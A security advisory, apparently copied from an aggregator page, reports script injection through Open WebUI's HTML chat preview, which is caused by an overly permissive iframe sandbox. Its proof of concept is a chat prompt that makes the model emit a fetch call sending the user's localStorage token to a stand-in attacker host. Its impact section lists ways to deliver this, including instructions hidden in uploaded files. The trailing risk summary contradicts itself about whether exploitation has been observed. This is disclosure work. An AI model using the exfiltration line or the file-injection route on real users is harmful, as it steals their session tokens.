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GHSA-4vrc-m9ch-6m3r
No affected components available
Summary
Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.
Details
The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:
sandbox="allow-scripts allow-forms allow-same-origin"
This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.
PoC
If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:
Create an HTML form and insert the following script into the document:
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`
By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.
Impact
Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:
- If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).
- There is a
Chat Sharefunction. A shared chat can be cloned, potentially transferring the input to another user's context. - If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content").
- By importing a chat via "Settings - Conversations - Import Conversations."
An attack is only successful under these conditions, which is why the Attack Complexity vector has been set to High.
Overall, the likelihood of exploitation (Exploitability) is considered very low.
Recommendation
The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.
The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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